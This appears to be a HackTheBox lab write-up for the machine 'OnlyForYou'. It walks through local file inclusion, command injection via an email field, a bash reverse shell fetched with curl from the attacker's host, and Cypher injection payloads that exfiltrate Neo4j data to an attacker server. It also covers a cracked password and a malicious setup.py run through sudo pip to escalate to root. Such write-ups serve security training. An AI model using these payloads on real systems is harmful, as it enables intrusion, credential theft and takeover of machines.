Machine: OnlyForYou
Difficulty: Medium
Platform: HackTheBox
Release: Released on 04/22/2023
Recon:
We begin with the reconnaissance phase, remembering that this is the most crucial part, as all the information we can gather initially may be useful later during the exploitation phase.
Port Scan
Machines typically offer services, and these services are exposed through ports. Therefore, we need to determine which of these ports are open in order to start exploiting vulnerable services.In this case, we use the
nmap
tool to scan all ports (65535)elswix@parrot$ nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.210 -oN portScan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 12:33 EDT
Initiating SYN Stealth Scan at 12:33
Scanning 10.10.11.210 [65535 ports]
Discovered open port 80/tcp on 10.10.11.210
Discovered open port 22/tcp on 10.10.11.210
Completed SYN Stealth Scan at 12:33, 15.49s elapsed (65535 total ports)
Nmap scan report for 10.10.11.210
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.65 seconds
Raw packets sent: 75845 (3.337MB) | Rcvd: 75825 (3.033MB)
Once again, we will use the
nmap
tool:elswix@parrot$ nmap -sC -sV -p80,22 10.10.11.210 -oN fullScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 12:35 EDT
Nmap scan report for 10.10.11.210 (10.10.11.210)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds
Web Reconnaissance:
After the scan, we can see that when accessing the website using the IP address, it redirects us to a domain: only4you.htb.
The issue is that during the redirection, our request does not know what that domain is. To avoid this problem, we will add the domain to the /etc/hosts file.
# Host addresses
127.0.0.1 localhost
127.0.1.1 Parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.210 only4you.htb
elswix@parrot$ whatweb http://only4you.htb
On the web front, we have the following:

Wappalyzer shows us the following:

There isn't anything interesting here either.
If we browse through the website a bit, there's a "Frequently Asked Questions" section in which there's one in particular that provides us with relevant information:

The question "Are there some products available to check?" contains a hyperlink that leads us to a URL of a subdomain of the machine.
beta.only4you.htb
We add this domain to the /etc/hosts file.
# Host addresses
127.0.0.1 localhost
127.0.1.1 Parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.210 only4you.htb beta.only4you.htb

Once the file is downloaded, we can see that it's a zip file which contains the following files:
beta
beta/app.py
beta/static
beta/static/img
beta/static/img/image-resize.svg
beta/templates
beta/templates/400.html
beta/templates/500.html
beta/templates/convert.html
beta/templates/index.html
beta/templates/405.html
beta/templates/list.html
beta/templates/resize.html
beta/templates/404.html
beta/uploads
beta/uploads/resize
beta/uploads/list
beta/uploads/convert
beta/tool.py
After analyzing the source code a bit, we can see that in the main.py file, there's a function that allows us to read files from the victim machine, indicating that it is vulnerable to Local File Inclusion (LFI).
Here's the
download
function from main.py:@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
image
:
After conducting some tests, we can see that simply by providing the absolute path of the file we want to read, we can access it.
After a bit of research on the machine, I tried reading certain nginx configuration files to see what I could find. In this case, the file that revealed relevant information was:
/etc/nginx/sites-available/default

The pertinent information is the path where the main page is located, the one we had seen by accessing it with just the domain without specifying the subdomain:
only4you.htb
/var/www/only4you.htb
/var/www/only4you.htb/app.py

This file caught my attention because it only contained information about the contact section of the main page, which is a form for supposedly sending a message:

In this case, to analyze the code more thoroughly, I made a curl request to access the file:
elswix@parrot$ curl -s http://beta.only4you.htb/download -d "image=/var/www/only4you.htb/app.py"
sendmessage
from a supposed library called form
.The first thing that occurred to me was to check if that
form
library is located within the same directory:elswix@parrot$ curl -s http://beta.only4you.htb/download -d "image=/var/www/only4you.htb/form.py"
We can also see that when the issecure function is defined, it expects two parameters: email, which I assume is the email entered in the form on the main page, and ip, which probably represents the client making the request:
def issecure(email, ip)
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
;
in the email, giving us the possibility to inject commands.We should remember that to inject commands, we will need to place the
;
after the "@" symbol, as otherwise, it won't work because the variable used to execute the "dig" command stores only what comes after the "@" symbol in the "email" parameter.The idea is as follows: we will intercept the request from the main page's form using Burp Suite and alter the content of the "email" parameter. We will attempt to send an ICMP trace (ping) from the victim machine to our machine:
Let's not forget to URL-encode our payload:
ping -c 1 10.10.16.4

First, we put ourselves in listening mode from our machine using tcpdump:
elswix@parrot$ tcpdump -i tun0 icmp -n

As we can see, we have received the trace, and we have achieved remote command execution (RCE).
Shell as www-data
With that done, now we will attempt to send a TCP Reverse Shell to our attacker machine. To do this, we will create an
index.html
file in which we will store a malicious payload written in bash that sends us a Reverse Shell.#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/443 0>&1
curl 10.10.16.4 | bash
nc
(netcat).elswix@parrot$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@parrot$ nc -lvnp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Finally, we obtain a shell:
elswix@parrot$ nc -lvnp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.210.
Ncat: Connection from 10.10.11.210:46674.
bash: cannot set terminal process group (1008): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$
www-data@only4you$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
reset xterm
:elswix@parrot$ stty raw -echo;fg
[1] + continued nc -lvnp 443
reset xterm
www-data@only4you$ export TERM=xterm
Privilege Escalation to john:
After a bit of enumeration, we can see that port 8001 is open, and I believe it's a web service.
www-data@only4you$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1025,fd=6),("nginx",pid=1022,fd=6))
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 [::ffff:127.0.0.1]:7687 *:*
LISTEN 0 50 [::ffff:127.0.0.1]:7474 *:*
www-data@only4you$ curl -s http://127.0.0.1:8001/
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
Downloading chisel is straightforward; you can go to the Releases section and download a version that matches your system and the victim machine's system. Since the victim machine is 64-bit architecture, and mine is too, I can use the same binary for both machines.
On our machine, we create the chisel server:
elswix@parrot$ ./chisel server --reverse -p 4646
www-data@only4you$ ./chisel client 10.10.16.4:4646 R:8001:127.0.0.1:8001
/login
resource:
If we try default credentials, the most commonly used ones could be:
username: user
password: user
username: admin
password: admin
username: guest
password: guest

We managed to access the web with the correct credentials.
If we take a look at
/dashboard
, we can see a section called "Tasks" that appears to contain tasks that the admin user must complete or certain reminders for the admin user.
Here they mention something about Neo4j, so I believe they might be using this type of database for certain resources or services.
In the
/employees
resource, we can see that we can enter certain information. It seems to be a search section that allows us to filter by users or, as the name suggests, employees.
If we enter a character, for example, "a," we can see that the content of the page changes, and it returns some information:

At first glance, it appears that there is a database query running in the background that filters the information based on what we provide in the search box.
This could be critical if implemented improperly, as entering a malicious payload could lead to a SQL Injection vulnerability.
Cypher Injection:
To test this, we will enter a single quote in the search box:

We can see that an error has occurred as indicated by the status code 500.
I would like to assume that the search box uses a Neo4j database, so if we search the internet for ways to exploit Neo4j, we come across Cypher Injection.
In my case, I will use payloads from HackTricks to perform the exploitation.
One of the first payloads I'm going to try is the one to extract the version of the Neo4j server:

We need to adapt the payload slightly for our case by changing the initial URL to ours:
OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

After sending the payload, if we check our web server, we can see the request with the version of the Neo4j server:

If we continue to try the payloads offered by HackTricks, we will notice that none of the others work. However, we can attempt further enumeration by modifying the payload that works.
In this case, we will enumerate the labels the server has, modifying the previous payload since the one offered by HackTricks doesn't work:
OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.16.4:8000/?label=' + label as l RETURN 0 as _0 //

We can see that we receive the names of the labels, and one of them is "user," which is interesting because it might contain stored credentials.
Shell as john:
By reading further in HackTricks, we can see that we can obtain the properties of a key:

We will try to modify the payload slightly, adapting our values (don't forget the single quotation mark at the beginning):
OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://10.10.16.4:8000/?' + p +'='+toString(u[p]) as l RETURN 0 as _0 //

It seems to have worked, and we obtained hashed usernames and passwords. The most interesting one here is John's password. Be careful because the hash appears first, and then the username, which can be confusing and lead you to copy the wrong hash.
elswix@parrot$ cat hash
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

We can see that the John the Ripper tool has successfully cracked the hash, and we obtained the user's password.
john:ThisIs4You
elswix@parrot$ ssh john@10.10.11.210
john@10.10.11.210's password: ThisIs4You
john@only4you$ cat user.txt
3eb188e464b****************4ed79
john@only4you$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

It seems that the web service uses Gogs, which is a service that provides the ability to host Git repositories.
We can log in using the credentials we already have for the user "john."
We can see that there is a "test" repository:

Reading some documentation on how to exploit pip, I found that if the Python package format is
.tar.gz
, when you run the pip download
command, it will execute a setup.py
file found within the package being downloaded.The idea here is to upload a malicious
setup.py
file and then copy the URL of the Git repository in .tar.gz
format.First, let's create the malicious setup.py file:
#!/usr/bin/python3
import os
os.system("chmod u+s /bin/bash")
pip download
on this repository, it will interpret the setup.py
file, which will execute the command chmod u+s /bin/bash
to assign Set-UID privileges to the bash.First, let's make sure the test repository is not private:

We upload the file
setup.py
:

We have to copy
tar.gz
:
And finally we execute the command that we can run as root with sudo:
john@only4you$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/archive/master.tar.gz
/bin/bash
:john@only4you$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
bash -p
command, taking advantage of the /bin/bash
now being Set-UIDjohn@only4you$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
8c60f13f*************e56f3664496